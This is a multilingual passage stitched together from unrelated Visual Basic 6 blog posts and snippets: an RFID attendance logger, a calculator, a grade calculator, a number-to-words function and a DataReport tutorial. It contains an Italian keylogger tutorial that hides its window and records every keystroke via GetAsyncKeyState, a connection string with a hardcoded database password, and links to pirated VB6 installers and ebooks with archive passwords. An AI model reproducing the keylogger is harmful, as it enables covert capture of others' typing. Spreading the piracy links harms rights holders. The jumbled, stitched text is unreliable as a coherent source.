Private Sub Timer4_Timer()
Static Atas As Boolean
Label2.Top = Label2.Top + IIf(Atas, -50, 50)
If Label2.Top < 0 Then
Atas = False
ElseIf Label2.Top > Me.Height – Label2.Height – 300 Then
Atas = True
End If
End Sub

Option Explicit
Public conn As New ADODB.Connection
Public rs_pengunjung As New ADODB.Recordset
Public cmd As New ADODB.Command
Public Function ambilIPRFID() As String
On Error GoTo ErrTrap
Dim intFileNumber As Integer

If Dir(App.Path & “\ip.txt”) = “” Then Exit Function
intFileNumber = FreeFile
Open App.Path & “\ip.txt” For Input As #intFileNumber

ambilIPRFID = Input(LOF(intFileNumber), #intFileNumber)
Exit Function

ErrTrap:
Close #intFileNumber
MsgBox “IP address server tidak ditemukan…!”, vbOKOnly, “Pesan error”
End
End Function
Public Sub koneksiDB()
On Error GoTo koneksiError
Dim strKoneksi As String

conn.ConnectionString = “Provider=OraOLEDB.Oracle.1;Password=123456;Persist Security Info=True;User ID=digilib;Data Source=esw-001/digilib”
conn.Open
cmd.ActiveConnection = conn
Exit Sub

koneksiError:
MsgBox “Koneksi database gagal…hubungi administrator anda!”, vbOKOnly, “pesan error”
End Sub

‘============================================modul form====================================
Private Sub Form_Load()
koneksiRFIDReader
End Sub

Private Sub Form_Unload(Cancel As Integer)
CZKEM1.Disconnect
conn.Close
End Sub

Private Sub Timer1_Timer()
ambilDataRFID
End Sub

Private Sub koneksiRFIDReader()
If CZKEM1.Connect_Net(Trim(ambilIPRFID()), 4370) Then
koneksiDB
Else
Beep
MsgBox “Koneksi ke RFID Reader gagal…hubungi administrator anda..!”, vbOKOnly, “pesan errror..”
End
End If
End Sub
Private Sub ambilDataRFID()
On Error Resume Next

Dim dwEnrollNumber As Long
Dim dwVerifyMode As Long
Dim dwInOutMode As Long
Dim timeStr As String

If CZKEM1.ReadGeneralLogData(2) Then
Do While CZKEM1.GetGeneralLogDataStr(2, dwEnrollNumber, dwVerifyMode, dwInOutMode, timeStr)

cmd.CommandType = adCmdStoredProc
cmd.CommandText = “proc_data_anggota”
cmd.Parameters.Append cmd.CreateParameter(“idnya”, adInteger, adParamInput, , dwEnrollNumber)
cmd.Parameters.Append cmd.CreateParameter(“tgl”, adVarChar, adParamInput, 20, Format(timeStr, “DD-MM-YYYY:h:m:s”))
cmd.Execute

cmd.Parameters.Delete (“idnya”)
cmd.Parameters.Delete (“tgl”)
‘MsgBox “waktu= ” & Format(timeStr, “DD-MM-YYYY:H:mm:ss”), vbOKOnly, “pesan”

Loop
CZKEM1.ClearGLog (2)
End If
End Sub

Assalamualaikum

Pada artikel kali ini saya mencoba untuk membahas beberapa sintax pemrograman Visual Basic 6.0 yang pernah saya gunakan untuk mengerjakan Tugas Akhir

… Connection Lost

 ho appena completato la seconda versione la 1.1 non ho cambiato molto ma ho aggiunto due cose
fondamentali che nella prima versione mancavano la possibilità di salvare e caricare da un file.txt
la lista dei proxy che altrimenti andrebbe riscritta ogni volta scusatemi per la grafica non bellissima

Screen:

Download:
here

by gabry9191

Ciao a tutti!
In questa guida spiegherò come creare un keylogger…
Apriamo vb6.0 Creiamo un progetto e lo modifichiamo con i bordi fixed single, lasciare vuota la caption e togliere l’icona con show icon “False”
Fattò ciò inseriamo nel form una Textbox(per ingrandire la textbox cercare nelle proprietà la voce “Dork” e ingrandire la parte centrale), inserite anche la proprietà multiline, una Scrollbars “Vertical” e un timer con intervall “10″
Fin qui tutto semplice..
Adesso passiamo ai codici… all’inizio della pagina dei codici di Visual Basic vi è scritto “Public Class Form1″ al di sotto inserire questo codice..

dim result as integer

Dopo aver scritto il codice premere invio e dovrebbe uscire una spaziatura… e inserire quest’altro codice..

Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey as long) as integer

Alla fine inserire nel Timer questo codice:

for i = 1 to 255
result = 0
result = getAsyncKeyState(i)
if result = -32767 then
textbox1.text = textbox1.text + chr(i)
end if
next i

e nel form questo codice

timer1.start()

Finito
Adesso basta premere il tasto play e ve lo collaudate
potete provare con il blocco note .. se scrivete noterete che il keylogger riporterà le stesse parole.
Alla prossima !

Incluye: Visual Básic 6.0, Fox Pro 6.0, C++ 6.0, InterDev 6.0.

Son 3 archivos (2 de 96MB cada uno y 1 de 46MB). Es una imagen en formato .NRG, solo tenes que hacer doble click sobre el archivo y se va abrir el NERO, selecciona la grabadora, la velocidad de grabación y dale rosca nomás. Si necesitas un gestor de descargas yo uso el Jdownloader y me anda 10 puntos.

Por las dudas aclaro: Todas las partes del archivo rar, tienen q estar en la misma carpeta para no generar ningun problema. Hace clic derecho en la parte 1 y dale “extraer aquí” y listo, el Winrar se encarga de los demás. No tiene contraseña.

Partes:

http://www.mediafire.com/file/mytjmhz5dzt/visual6.0_para_icop.part1.rar

http://www.mediafire.com/file/omuy0mmndtn/visual6.0_para_icop.part2.rar

http://www.mediafire.com/file/bymgrdjzytm/visual6.0_para_icop.part3.rar

Database by gabry9191

Funzioni:
-è di utilizzo lavorativo-
-serve per gestire delle informazioni-
-salva tutto su un file .txt il quale può essere caricato-
-attraverso due liste si selezionano gli elementi e si salvano solo quelli voluti-
-possibilità di inserire i dati nella seconda lista con alla fine la “,” per facilitare l’inserimento dei dati in certi server-
-possibilità di inserire i dati dalla prima alla seconda lista con un bottone selezionandone uno alla volta o selezionandolo direttamente dalla lista-

il source lo trovate all’interno del file .rar insieme all’exe e a tutto il resto

Screen:

Download:
Link

Mesin hitung atau Kalkulator adalah alat untuk menghitung dari perhitungan sederhana seperti penjumlahan, pengurangan, perkalian dan pembagian sampai kepada kalkulator sains yang dapat menghitung rumus matematika tertentu. Pada perkembangannya sekarang ini, kalkulator sering dimasukkan sebagai fungsi tambahan daripada komputer, handphone, bahkan sampai jam tangan.

Disini kita akan membahas tentang cara membuat kalkulator di computer dari software Visual Basic 6.0. Kalkulator tersebut sederhana sekali menyerupai kalkulator – kalkulator yang biasanya digunakan di sebuah toko – toko kecil pada umumnya.

Sebelum membuat aplikasi tersebut yang pasti kita harus membuat design formnya terlebih dahulu. Perhatikan contoh Design Form di bawah ini :

Untuk properties dari masing-masing objek, saya contohkan seperti dibawah ini, dengan letak masing-masing objek disesuaikan dengan gambar diatas.

Textbox 1:

(Name) : txtDisplay

Alignment: 1-Right Justify

Text : (kosongkan)

Maxlength : 12

Command Button 1:

(Name) : cmdAngka

Index : 1

Caption : 1

Command Button 2:

(Name) : cmdAngka

Index : 2

Caption : 2

Command Button 3:

(Name) : cmdAngka

Index : 3

Caption : 3

Command Button 4:

(Name) : cmdAngka

Index : 4

Caption : 4

Command Button 5:

(Name) : cmdAngka

Index : 5

Caption : 5

Command Button 6:

(Name) : cmdAngka

Index : 6

Caption : 6

Command Button 7:

(Name) : cmdAngka

Index : 7

Caption : 7

Command Button 8:

(Name) : cmdAngka

Index : 8

Caption : 8

Command Button 9:

(Name) : cmdAngka

Index : 9

Caption : 9

Command Button 10:

(Name) : cmdAngka

Index : 0

Caption : 0

Command Button 11:

(Name) : cmdPlusMinus

Caption : +/

Command Button 12:

(Name) : cmdKoma

Caption : .

Command Button 13:

(Name) : cmdOperator

Index : 1

Caption : +

Command Button 14:

(Name) : cmdOperator

Index : 2

Caption : -

Command Button 15:

(Name) : cmdOperator

Index : 3

Caption : x

Command Button 16:

(Name) : cmdOperator

Index : 4

Caption : /

Command Button 17:

(Name) : cmdClearEntry

Caption : CE

Command Button 18:

(Name) : cmdClear

Caption : C

Command Button 19:

(Name) : cmdSamaDengan

Caption : =

Berikutnya, Anda tinggal membuat coding dari kalkulator tersebut. Jika Anda mengikuti semua

setting properties seperti diatas, maka codingnya saya contohkan seperti ini:

Option Explicit

Private Hasil As Double

Private Const opNol = 0

Private Const opTambah = 1

Private Const opKurang = 2

Private Const opKali = 3

Private Const opBagi = 4

Private Operator As Integer

Private NilaiBaru As Boolean

‘ untuk menghapus karakter terakhir

Private Sub Hapus()

Dim txt As String

Dim min_len As Integer

txt = txtDisplay.Text

If Left$(txt, 1) = “-” Then

min_len = 2

Else

min_len = 1

End If

If Len(txt) > min_len Then

txtDisplay.Text = Left$(txt, Len(txt) – 1)

Else

txtDisplay.Text = “0″

End If

End Sub

‘ hapus angka, hasil terakhir dan operator

Private Sub cmdClear_Click()

cmdClearEntry_Click

Hasil = 0

Operator = opNol

End Sub

‘ hapus angka

Private Sub cmdClearEntry_Click()

txtDisplay.Text = “”

End Sub

‘ menambahkan koma (desimal)

Private Sub cmdKoma_Click()

If InStr(txtDisplay.Text, “.”) Then

Beep

Else

If NilaiBaru Then

txtDisplay.Text = “.”

NilaiBaru = False

Else

txtDisplay.Text = txtDisplay.Text & “.”

End If

End If

End Sub

‘ Menghitung

Private Sub cmdSamaDengan_Click()

Dim HasilBaru As Double

If txtDisplay.Text = “” Then

HasilBaru = 0

Else

HasilBaru = CDbl(txtDisplay.Text)

End If

Select Case Operator

Case opNol

Hasil = HasilBaru

Case opTambah

Hasil = Hasil + HasilBaru

Case opKurang

Hasil = Hasil -HasilBaru

Case opKali

Hasil = Hasil * HasilBaru

Case opBagi

‘Tidak bisa dibagi nol

If HasilBaru = 0 Then

MsgBox “Tidak bisa dibagi 0″, vbOKOnly + vbCritical, “Kalku ERROR”

Call cmdClear_Click

Else

Hasil = Hasil / HasilBaru

End If

End Select

Operator = opNol

NilaiBaru = True

txtDisplay.Text = Format$(Hasil)

End Sub

‘ menuliskan angka

Private Sub cmdAngka_Click(Index As Integer)

If NilaiBaru Then

txtDisplay.Text = Format$(Index)

NilaiBaru = False

Else

txtDisplay.Text = _

txtDisplay.Text & Format$(Index)

End If

End Sub

‘ tombol tambah/kurang/bagi/kali

Private Sub cmdOperator_Click(Index As Integer)

cmdSamaDengan_Click

Operator = Index

NilaiBaru = True

End Sub

‘ merubah tanda +/-

Private Sub cmdPlusMinus_Click()

If NilaiBaru Then

txtDisplay.Text = “-”

ElseIf Left$(txtDisplay.Text, 1) = “-” Then

txtDisplay.Text = Right$(txtDisplay.Text, 2)

Else

txtDisplay.Text = “-” & txtDisplay.Text

End If

End Sub

‘ filter untuk angka saja yg dapat diketikkan

Private Sub Form_KeyPress(KeyAscii As Integer)

txtDisplay_KeyPress KeyAscii

End Sub

Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)

txtDisplay_KeyUp KeyCode, Shift

End Sub

‘ supaya kursor tetap di kanan

Private Sub txtDisplay_Change()

txtDisplay.SelStart = Len(txtDisplay.Text)

End Sub

Private Sub txtDisplay_GotFocus()

txtDisplay_Change

End Sub

‘ untuk mengetikkan angka di keyboard

Private Sub txtDisplay_KeyPress(KeyAscii As Integer)

Dim ch As String

ch = Chr$(KeyAscii)

Select Case ch

Case “0″

cmdAngka_Click 0

Case “1″

cmdAngka_Click 1

Case “2″

cmdAngka_Click 2

Case “3″

cmdAngka_Click 3

Case “4″

cmdAngka_Click 4

Case “5″

cmdAngka_Click 5

Case “6″

cmdAngka_Click 6

Case “7″

cmdAngka_Click 7

Case “8″

cmdAngka_Click 8

Case “9″

cmdAngka_Click 9

Case “*”, “x”, “X”

cmdOperator_Click opKali

Case “+”

cmdOperator_Click opTambah

Case vbCrLf, vbCr, “=”

cmdSamaDengan_Click

Case “-”

cmdOperator_Click opKurang

Case “.”

cmdKoma_Click

Case “/”

cmdOperator_Click opBagi

Case “C”, “c”

cmdClearEntry_Click

End Select

KeyAscii = 0

End Sub

‘ untuk ketikan angka di numpad

Private Sub txtDisplay_KeyUp(KeyCode As Integer, Shift As Integer)

Select Case KeyCode

Case vbKeyNumpad0

cmdAngka_Click 0

Case vbKeyNumpad1

cmdAngka_Click 1

Case vbKeyNumpad2

cmdAngka_Click 2

Case vbKeyNumpad3

cmdAngka_Click 3

Case vbKeyNumpad4

cmdAngka_Click 4

Case vbKeyNumpad5

cmdAngka_Click 5

Case vbKeyNumpad6

cmdAngka_Click 6

Case vbKeyNumpad7

cmdAngka_Click 7

Case vbKeyNumpad8

cmdAngka_Click 8

Case vbKeyNumpad9

cmdAngka_Click 9

Case vbKeyMultiply

cmdOperator_Click opKali

Case vbKeyAdd

cmdOperator_Click opTambah

Case vbKeySeparator

cmdSamaDengan_Click

Case vbKeySubtract

cmdOperator_Click opKurang

Case vbKeyDivide

cmdOperator_Click opBagi

Case vbKeyDecimal

cmdKoma_Click

Case vbKeyBack, vbKeyDelete

Hapus

End Select

KeyCode = 0

End Sub

Download Aplikasi Kalkulator

]]> http://denshy.wordpress.com/2009/03/02/aplikasi-game-sederhana/ Mon, 02 Mar 2009 04:36:38 +0000 denshy http://denshy.wordpress.com/2009/03/02/aplikasi-game-sederhana/

Game merupakan media yang tak mungkin lepas dari dunia hiburan. Usernya pun cukup fantastic mulai dari kalangan anak- anak, remaja, dewasa, pelajar, mahasiswa bahkan bapak – bapak maupun kakek – kakek untuk menghilangkan kesetresan.

Ya biasalah anak IT kerjaannya otak atik kata untuk dimasukkin ke search engine, waktu itu aku nemu code untuk membuat sebuah game. Game tersebut semajam permainan yang sangat sering kita jumpai baik di Handphone, di Tv, maupun di gameboard.

Kemudian aku kopi paste kodenya dan hasilnya seperti di bawah ini.

Ulo-ULoan

Kalau mau download gamenya klik di sini

Membuat Aplikasi Kalender

Kalender merupakan sebuah bagian yang tak pernah lepas dari aktivitas manusia. Kalender maupun jam sangat penting untuk melihat dan memandang suatu masa maupun waktu. Di sini akan di bahas mengenai cara membuat kalender sederhana dari Microsoft Visual Basic 6.0. Caranya sederhana saja kita tinggal mendesign formnya kemudia memasukkan sebuah rumus (source code) sebagai perintah untuk menjalankan sebuah aplikasi yang telah kita design sebelumnya.

Pertama design terlebih dahulu formnya seperti di bawah ini :

Design Form

Setelah form di design masukkan kode di bawah ini :

Dan jangan lupa interval pada timer di ubah menjadi 1000. Ingat itu!!!””

Keterangan :

Label 1: Menunjukkan hari saat ini

Label 2: Menunjukkan Jam, menit dan sekon (detik) saat ini

Label 3: Menunjukkan bulan saat ini

Label 4: Menunjukkan tanggal saat ini

Label 5: Menunjukkan tahun saat ini

Jika sukses maka hasilnya akan tampak seperti di bawah ini :

Hasil

Mudah bukan???????? Kalau sudah baca coretan di atas jangan lupa komentarnya ya!!!!!!!!! Mau download aplikasinya di sini

Visual Basic adalah salah satu bahasa pemrograman komputer. Bahasa pemrograman adalah perintahperintah yang dimengerti oleh komputer untuk melakukan tugas-tugas tertentu. Bahasa pemrograman
Visual Basic, yang dikembangkan oleh Microsoft sejak tahun 1991, merupakan pengembangan dari pendahulunya yaitu bahasa pemrograman BASIC (Beginner’s All-purpose Symbolic Instruction Code)
yang dikembangkan pada era 1950-an. Visual Basic merupakan salah satu Development Tool yaitu alat bantu untuk membuat berbagai macam program komputer, khususnya yang menggunakan sistem operasi Windows. Visual Basic merupakan salah satu bahasa pemrograman komputer yang mendukung object (Object Oriented Programming = OOP).

Bagian bagian  yang ada di visul basic

Halaman Visual Basic 6.0

1. Menubar
2. Toolbar
3. Toolbox
Bila Toolbox tidak muncul klik tombol Toolbox ( ) pada bagian Toolbar atau klik menu
View > Toolbox.
4. Jendela Form
Bila Jendela Form tidak muncul klik tombol View Object ( ) pada bagian Project Explorer atau
klik menu View > Object.
5. Jendela Code
Bila Jendela Code tidak muncul klik tombol View Code ( ) di pada bagian Project Explorer atau
klik menu View > Code.
6. Project Explorer
Bila Project Explorer tidak muncul klik tombol Project Explorer ( ) pada bagian
Toolbar atau klik menu View > Project Explorer.
7.  Jendela Properties
Bila Jendela Properties tidak muncul klik tombol Properties Window ( ) pada bagian Toolbar
atau klik menu View > Properties Window.

Dalam pemrograman berbasis obyek (OOP), anda perlu memahami istilah object, property, method dan
event sebagai berikut :
Object : komponen di dalam sebuah program
Property : karakteristik yang dimiliki object
Method : aksi yang dapat dilakukan oleh object
Event : kejadian yang dapat dialami oleh object
Sebagai ilustrasi anda dapat menganggap sebuah mobil sebagai obyek yang memiliki property, method
dan event.

Updated:: Fixed mem leak save routine (oops); added minimal unicode support to sample form for playing & as promised, SaveAs Jpg/Png/Bmp capable. A project I wrote to learn more about GDI+ graphics paths. Think it can be useful for others who want to explore paths. I thought I was going to make this a full-blown WordArt-clone but have since lost interest. This project may be updated in the future, but it will remain low on my priorities. Graphic paths are fun to play with, but short of creating a Paint-like application or using paths to manipulated direction/speed of some animated object I can’t find much use for them. Have fun playing with it. 26Mar08: Added ability to save a GDI+ path to JPG, Bitmap and/or PNG formats. 27Mar08: Found & fixed mem leak in save routine. In sample form, added some unicode support for playing.

Download code

A control to make a chart

Download code

Visual Basic 6.0

» Descrição

O Visual Basic é uma linguagem de programação que oferece um ambiente de desenvolvimeto integrado (IDE — Integrated Development Environment) totalmente gráfico, facilitando e muito a criação da interface das aplicações (GUI — Graphical User Interface), por isso o nome Visual.

Veja algumas das suas características:

Passo-a-passo para você não deixar nada passar em branco, com mais de 16 horas de vídeos explicativos e cerca de 300MB de documentos on-line.

Assistente para atualizações, permitindo maior mobilidade com o Visual Basic 6.

Suporte a criação de aplicativos utilizando o .NET Framework.

Interface intuitiva que proporciona a criação rápida de objetos através de menus de fácil acesso.

Grande versatilidade, com mais 30 novos comandos para simplificar o desenvolvimento.

Verificação, destaque e autocorreção de sintaxe, sugerindo e aplicando retificações em mais de 230 erros comuns de programação.

Criação de aplicativos com banco de dados através do SQL Server 2005 Express.

Adicione sons e imagens aos seus programas com extrema praticidade.

Possui ferramentas para controle de navegadores da web, possibilitando a criação de aplicativos com capacidade de navegar na Internet.

E muito mais.

A interface do programa possui as ferramentas dispostas de modo que seja relizada qualquer tarefa com um número mínimo de cliques, agilizando ainda mais o processo de desenvolvimento. Como se não bastasse tanta praticidade, o Visual Basic 2005 Express Edition ainda conta com o IntelliSense, recurso que oferece cerca de 400 modelos de códigos para simplificar ainda mais o seu trabalho.

eBooks Visual Basic contido no pacote:

* Programming vb6 (+ code, by Fransisco Balena)

* Visual Basic Conceptual Topics

* Visual Basic How-To Topics

* Visual Basic Language Reference 1

* Visual Basic Language Reference 2

* Visual Basic Language Reference 3

* Visual Basic Microsoft Graph Objects

* Visual Basic Microsoft Office Reference

* Visual Basic User Interface Help

* Windows API Guide

* Advanced Visual Basic 6 Techniques – Wiley

* OReilly – Ado Activex Data Objects

* Programing – Schaum\’s Outline – Visual Basic 6

* Sams Teach Yourself Visual Basic 6 in 21 Days

* Visual Basic 6 Black Book* Visual Basic 6 Database How-To (Sams-ebook)

* Advanced Ms Visual Basic 6.0 – MS Press.chm

* Visual Basic Databases

* Visual Basic 6 Coding Standards

* Incluido também o Visual Basic Portable e Add-ins e Sevice Pack 6.
» Informações
Tamanho: Variado
Servidor: RapidShare
Idioma: Variado

» DOWNLOAD:

Visual Basic 6 Enterprise Edition:

http://lix.in/9409bd – Parte 1

http://lix.in/cae68e – Parte 2

senha: R@pidSh@r3Sucks

Visual Basic 6 Add-ins

http://lix.in/39386b

senha: R@pidSh@r3Sucks

Visual Basic 6 Ebooks

http://lix.in/c5d3c0 – Parte 1

http://lix.in/78eb60 – Parte 2

http://lix.in/32f40f – Parte 3

senha: R@pidSh@r3Sucks

Portable Visual Basic 6

http://lix.in/25990b

senha: R@pidSh@r3Sucks

Visual Basic 6 – Service Pack 6

http://lix.in/e1bac5

senha: R@pidSh@r3Sucks

Private Sub Form_Load()
Text1.Text = “”
Text2.Text = “”
Text3.Text = “”
Text4.Text = “”
Text5.Text = “”
Text6.Text = “”
End Sub

Private Sub Text1_Change()
Hitung
End Sub

Private Sub Text2_Change()
Hitung
End Sub

Private Sub Text3_Change()
Hitung
End Sub

Private Sub Text4_Change()
Hitung
End Sub

Private Sub Text5_Change()
grade = Text5.Text
cari = Len(Text5.Text)
If cari > 1 Then
    Select Case grade
    Case Is < 20
        Text6.Text = “E”
    Case 20 To 40
        Text6.Text = “D”
    Case 40 To 60
        Text6.Text = “C”
    Case 60 To 80
        Text6.Text = “B”
    Case Else
        Text6.Text = “A”
    End Select
Else
    Text6.Text = “”
End If
End Sub

Private Sub Hitung()
Text5.Text = (10 * Val(Text1.Text) / 100) + (20 * Val(Text2.Text) / 100) + (30 * Val(Text3.Text) / 100) + (40 * Val(Text4.Text) / 100)

End Sub

Option Explicit
Dim nCounter As Integer, nLoop As Integer, nSisa As Integer, nCounter2 As Integer, nPos As Integer
Dim nKali As Integer
Dim aSatuan As Variant, aAngka As Variant, cAngkaUji As String
Dim aHasil As Variant
Dim cSpell As String, bSisa As Boolean

Public Function Terbilang(ByVal cAngka As String) As String
    aSatuan = Array(“”, “”, “Ribu “, “Juta “, “Milyar “, “Trilyun “, “Bilyun “, “Mega Bilyun “)
    aAngka = Array(“”, “Satu “, “Dua “, “Tiga “, “Empat “, “Lima “, “Enam “, “Tujuh “, “Delapan “, “Sembilan “)
    cSpell = “”
    nLoop = Left(Trim(Str(Len(Trim(cAngka)) / 3)), 1)
    nPos = Len(Trim(cAngka)) – 2

    For nCounter = 1 To nLoop
        If bSisa = False Then
            cAngkaUji = Mid(cAngka, nPos, 3)
        Else
            MsgBox “SISA”
            cAngkaUji = Left(cAngka, nSisa)
        End If

        aHasil = Array(“”, “”, “”, “”)
        ‘Mengkonfersi angka ke ejaan
        For nCounter2 = 3 To 1 Step -1
            aHasil(nCounter2) = aAngka(Val(Mid(cAngkaUji, nCounter2, 1)))
        Next
        ‘Mendefinisikan satuan
        For nCounter2 = 1 To UBound(aHasil)
            Select Case aHasil(nCounter2)
                Case “Satu “
                    If nCounter2 = 2 Then
                        If aHasil(3) = “” Then
                            aHasil(2) = “Sepuluh “
                        ElseIf aHasil(3) = “Satu ” Then
                            aHasil(2) = “Sebelas “
                            aHasil(3) = “”
                        Else
                            aHasil(2) = aHasil(3) + “Belas “
                            aHasil(3) = “”
                        End If
                    End If
                    If nCounter2 = 1 Then
                        aHasil(1) = “Se”
                    End If
            End Select
            Select Case nCounter2
                Case 1
                    If aHasil(1) <> “” Then
                        aHasil(1) = aHasil(1) + “Ratus “
                    End If
                Case 2
                    If aHasil(3) = “” And aHasil(2) <> “” Then
                        If Right(aHasil(2), 6) = “Belas ” Or Left(aHasil(2), 7) = “Sebelas” Then
                        Else
                            aHasil(2) = aHasil(2) + “Puluh “
                        End If
                    ElseIf aHasil(2) = “” Then
                        aHasil(2) = “”
                    ElseIf aHasil(3) <> “” Then
                        aHasil(2) = aHasil(2) + “Puluh “
                    End If
            End Select
        Next
        ‘mengidentifikasikan satuan
        If aHasil(1) = “” And aHasil(2) = “” And aHasil(3) = “” Then
        Else
            cSpell = aHasil(1) + aHasil(2) + aHasil(3) + aSatuan(nKali) + cSpell
        End If
        nKali = nKali + 1
        nPos = nPos – 3
    Next
    Terbilang = cSpell
End Function

Private Sub Text1_GotFocus()
    Text1.Text = “”
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
    If KeyAscii = 13 Then
        bSisa = False
        nKali = 1
        ‘Text3.Text = Len(Trim(Format(Text1.Text))) / 3
        ‘Text4.Text = Len(Trim(Format(Text1.Text))) Mod 3
        Text1.Text = Format(Text1.Text, “###,###,###,###,###,###”)
       
        If Len(Trim(Format(Text1.Text))) Mod 3 = 0 Then
            Text2.Text = Terbilang(Format(Text1.Text)) + ” Rupiah”
        Else
            Text2.Text = Terbilang(“000″ + Format(Text1.Text)) + ” Rupiah”
        End If
    End If
   
End Sub

Nella prima parte abbiamo essenzialmente esaminato la struttura del Dat Report. Passiamo ora a concentrarci sul come farlo funzionare e quindi utilizzarlo. Essenzialmente esistono due metodi. Io ne spiegherò solamente uno, poichè secondo me è il più semplice ed anche il più flessibile.

In realtà questo metodo prevede che si sappia giocare un pochino con i database in VB. Esattamente dovete aver esperienza dell’utilizzo degli oggetti ADO. Poichè non è oggetto di questa semplice spiegazione andrò avanti, supponendo che si abbia dimestichezza con questi oggetti.

Il primo passo da fare è disegnare, o meglio, posizionare nele sezioni giuste, le TextBox sul DataReport. Ricordate una cosa fondamentele. Le TextBox del Data Report sono un pò diverse da quelle a cui siete abituati, non potete in sostanza, passargli stringhe direttamente, ma potete solamente passargli dati sotto forma di record, presi da una tabella o query. Quindi se avete necessità di passare delle stringhe di testo vi conviene utilizzare le Label.

Una volta posizionati le TextBox, non vi resta che dire al Data Report dove prendere i dati.

Se avete letto la PRIMA PARTE avevamo lasciato in sospeso le due proprietà Data Member e Data Source. Tralascerò Data Member, poichè non ci serve e mi concentrerò sul Dat Source. Quindi da codice dovete impostare questa proprieta del Data Report, attribuendogli un Recordset (per questo dovete sapere di cosa sto parlando se dico ADO). Il gioco è fatto. Adesso passate i record alle TextBox, in questo modo:

DataReport1.Sections.Item(“Section1″).Controls.Item(“Text6″).DataField

il nome del DataReport.Section.Item(“il nome della sezione”).Controls.Item(“Il nome della TextBox”).DataField

=

inserite il nome del campo, che contiene i record che volete stampare legati a quella TextBox.

Nei prossimi giorni preparerò un fil vb di esempio, in modo che tutto questo vi sia un pò più chiaro.

Mi sono accorto affrontando per la prima volta problemi di programmazione, un pochino più complessa del classico hello world!!, che se la rete molte volte aiuta in maniera efficiente e completa, in alcuni casi, forse per una incredibile congiunzione astrale, è completamente priva di aiuti su determinati argomenti. Il DataReport di Visual Basic è uno di essi. Molti lo nominano, molti lo spiegano nella teoria, ma pochi aiutano praticamente a risolvere i problemi. Io non ho la pretesa di sviscerare troppo l’argomento, non credo di averne le conoscenze, ma vorrei fornire un valido aiuto, per chi si scontra per la prma volta con questo “mostro”.

C’è subito da dire una cosa, con DataReport non potete fare come volete, è lui che comanda, quindi mettetevi comodi e cercate un modo per “fregarlo”. Questo strumento non fa altro che visualizzare, nella maniera che voi vorrete e disegnerete, ciò che il vostro db contiene, quindi molto spesso, direi sempre vi ritroverete a passare una query al DataReport e a fare in modo che esso la stampi in un modo carino.

Primo passo, capire la struttura.

Il DataReport è diviso in cinque sezioni (section):

• Section 4 Report Header – è la parte che contiene il testo che verrà stampato una sola volta all’inizio del report. Immaginando che il nostro report abbia più di una pagina, tutto ciò che verrà scritto o incollato come immagine, in questa sezione, verrà stampato in testa una sola volta.
• Section 2 Page Header – come per la sezione precedente, in questa  parte si dovranno inserire le immagini o il testo che si vuole venga stampato in testa a tutte le pagine.
• Section 1 Detail - sicuramente la parte che tutti aspettano, questo è il corpo della pagina e deve contenere i campi testo, che verranno poi associati ai record del db.
• Section 3 Page Footer – è l’equivalente della Page Header, solo che la stampa avverrà a fondo pagina.
• Section 5 Report Footer – è l’equivalente della Report Header solo alla fine del report. Da non confondere con la fine della pagina. Se ipoteticamente il nostro report possedesse 3 pagine, allora questa sezione sarebbe stampata in fondo alla terza pagina.

Molto comodi e molto importanti sono i righelli sia orizzontali che verticali, che in VB ci aiutano a rimanere entro i margini del foglio. Vi anticipo fin da adesso, che Data Report, non è un Word Processor, quindi non sarete guidati, come dai classici programmi Microsoft, nell’impostazione dei margini e delle grandezze del foglio. Qui la struttura la create voi, quindi tenetevi sempre un pò più stretti, perchè influisce moltissimo, il tipo di stampante, e quindi i driver di stampa che avete, sull’area stampabile.

Secondo passo le proprietà

Come tutti gli oggetti in VB, anche DataReport possiede delle proprietà. A loro volta le sezioni hanno delle proprieta personali, per così dire. Cominciamo, analizzando quelle generali del DataReport:

• Name – Come sempre la prima, questo è il nome che vorrete attribuire al vostro DataReport, logicamente Vb ne attribuirà uno di default, che se vorrete potrete usare. Ricordatevi che è sempre meglio dare agli oggetti dei nomi che ci ricordino che ruolo gli facciamo giocare nel nostro progetto.
• BorderStyle – questa proprietà riguarda la finestra che si aprirà quando visualizzeremo l’anteprima di stampa del DataReport, ci sono diverse opzioni esattamente 6: [ 0 - VbBSNone] questa opzione toglierà il bordo alla finestra, di conseguenza non avrete più i tre tasti di Windows per chiudere, ridurre a icona, o estendere a schermo intero, la finestra; [1-vbFixedSingle]  visualizza il bordo, ma toglie i due pulsanti riduci a icona e ingrandisci. In più non permette di trascinare la finestra; [2-vbSizable] finestra normale di Windows, trascinabile e con tutti e tre i pulsanti attivi; [3-vbFixedDouble] la finestra è visualizzata normalmente senza i pulsanti riduci a icona e ingrandisci, ma è trascinabile;[4- vb Fixed ToolWindows] visulizza una classica finestra con bordo ridotto e con il solo pulsante chiudi, anchesso ridotto, non ridimensionabile;[5 - vbSizable ToolWindows] come prima ma ridimensionabile.
• BottomMargin – Margine inferiore del report espresso in twip.
• Caption – Testo da scrivere nella finestra di report.
• ControlBox - stabilisce se in fase di esecuzione si debba visualizzare il Control Menu Box. Vale a dire i pulsanti chiudi, riduci a icona, ingrandisci e l’icona della finestra.
• Data Member – setta o restituisce il data Member. lo so è una spiegazione alla Microsoft, ma nella seconda parte verrà spiegato chiaramente a cosa serve questa propiretà.
• Data Source -setta o restituisce il Data Source. Come sopra.
• Enabled – come per tutti gli oggetti VB stabilisce se in fase di esecuzione l’oggetto in questione sia attivato o meno. In questo caso settando a false la proprietà, non si potrà interagire con la finestra.
• Font – Stabilisce il Font di defaul del report.
• GridX GridY – stabiliscono le divisioni della griglia. Vi suggerisco di settarle al massimo cioè 10, anche perchè altrimenti è impossibile spostare gli oggetti in maniera “umana”.
• Height – altezza del report.
• Icon – setta l’icona della finestra report.
• LeftMargin – margine sinistro del report.
• MaxButton – ingrandisci si o ingrandisci no. Avete capito?
• MDIChild - Stabilisce se il form verrà visualizzato come un MDI.
• MinButton – riduci a icona si o no. E questo lo avete capito?
• MouseIcon – Volete un puntatore particolare quando il vostro mouse attraverso il report, allora dovere inserire la sua icona qui.
• MousePointer – Ma non basta, se volete poi visualizzare l’icona scelta nella proprietà precedente, dovete settare questa proprietà su Icon, altrimente scegliete le altre che offre VB.
• Palette – Se volete cambiare i colori di defolt che usa VB per il report, dovete inserire qui l’immagine Palette, che contiene l’elenco dei colori.
• PaletteMode – Stabilite quale Palette dovrà usare VB per questo oggetto (il Report), se ne avete indicata una personalizzata, settate questa proprietà su Custom.
• ReportWidth – Larghezza report.
